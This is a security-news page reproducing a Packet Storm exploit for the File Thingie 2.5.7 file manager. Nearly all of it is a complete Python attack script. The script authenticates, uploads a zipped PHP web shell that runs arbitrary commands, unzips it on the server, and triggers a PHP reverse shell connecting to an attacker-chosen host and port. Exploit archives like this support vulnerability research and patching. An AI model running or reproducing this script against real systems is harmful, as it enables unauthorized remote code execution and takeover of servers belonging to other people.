Security
Headlines
HeadlinesLatestCVEs

Headline

File Thingie 2.5.7 Shell Upload

File Thingie version 2.5.7 remote shell upload exploit. This exploit is based on the vulnerability priorly discovered by Cakes in September of 2019.

Packet Storm
#vulnerability#mac#google#git#php#rce#auth
#!/usr/bin/python# Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 27th of April, 2023# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)# Software Link: https://github.com/leefish/filethingie# Version: 2.5.7# Tested on: N/A# CVE: N/A# Vulnerability originally discovered / published by Cakes# Reference: https://www.exploit-db.com/exploits/47349# Run a local listener on your machine and youre good to goimport osimport argparseimport requestsimport randomimport stringimport zipfilefrom urllib.parse import urlsplit, urlunsplit, quoteclass Exploit:    def __init__(self, target, username, password, lhost, lport):        self.target = target        self.username = username        self.password = password        self.lhost = lhost        self.lport = lport    def try_login(self) -> bool:        self.session = requests.Session()        post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}        response = self.session.post(self.target, data=post_body)        if response.status_code == 404:            print(f"[-] 404 Not Found - The requested resource {self.target} was not found")            return False        elif response.status_code == 200:            if "Invalid username or password" in response.text:                print(f"Invalid username or password")                return False            return True            def create_new_folder(self) -> bool:        # Generate random string        letters = string.ascii_letters        self.payload_filename = "".join(random.choice(letters) for i in range(16))        headers = {"Content-Type": "application/x-www-form-urlencoded"}        post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}        print(f"[*] Creating new folder /{self.payload_filename}")        response = self.session.post(self.target, headers=headers, data=post_body)        if f"index.php?dir=/{self.payload_filename}" in response.text:            print(f"[+] Created new folder /{self.payload_filename}")            return True                else:            print(f"[-] Could not create new folder /{self.payload_filename}")            return False    def create_payload(self) -> bool:        try:            with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:                    zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")                    print(f"[+] Zipped payload to {self.payload_filename}.zip")                    return True        except:            print(f"[-] Could not create payload to {self.payload_filename}.zip")            return False    def upload_payload(self) -> bool:        # Set up the HTTP headers and data for the request        headers = {            b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'        }        post_body = (            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'            'Content-Type: application/octet-stream\r\n\r\n'        )        post_body += (            '\r\n-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'            '2000000\r\n'            '-----------------------------grimlockx\r\n'            f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'            'Content-Type: application/zip\r\n\r\n'        )        # Read the zip file contents and append them to the data        with open(f"{self.payload_filename}.zip", "rb") as f:            post_body += ''.join(map(chr, f.read()))        post_body += (            '\r\n-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="act"\r\n\r\n'            'upload\r\n'            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="dir"\r\n\r\n'            f'/{self.payload_filename}\r\n'            '-----------------------------grimlockx\r\n'            'Content-Disposition: form-data; name="submit"\r\n\r\n'            'Upload\r\n'            '-----------------------------grimlockx--\r\n'        )        print("[*] Uploading payload to the target")        response = self.session.post(self.target, headers=headers, data=post_body)        if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:            print("[+] Uploading payload successful")            return True        else:             print("[-] Uploading payload failed")            return False            def get_base_url(self) -> str:        url_parts = urlsplit(self.target)        path_parts = url_parts.path.split('/')        path_parts.pop()        base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))        return base_url    def unzip_payload(self) -> bool:        print("[*] Unzipping payload")        headers = {"Content-Type": "application/x-www-form-urlencoded"}        post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}        response = self.session.post(f"{self.target}", headers=headers, data=post_body)                if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:            print("[+] Unzipping payload successful")            print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")            return True        else:             print("[-] Unzipping payload failed")            return False    def execute_payload(self) -> bool:        print("[*] Trying the get a reverse shell")        cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")        print("[*] Executing payload")        response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")        print("[+] Exploit complete")                return True    def cleanup_local_files(self) -> bool:        if os.path.exists(f"{self.payload_filename}.zip"):            os.remove(f"{self.payload_filename}.zip")            print("[+] Cleaned up zipped payload on local machine")            return True                print("[-] Could not clean up zipped payload on local machine")        return Falseif __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")    parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")    parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")    parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")    parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")    args = parser.parse_args()    exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)    exploit.try_login()    exploit.create_new_folder()    exploit.create_payload()    exploit.upload_payload()    exploit.unzip_payload()    exploit.execute_payload()    exploit.cleanup_local_files()

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution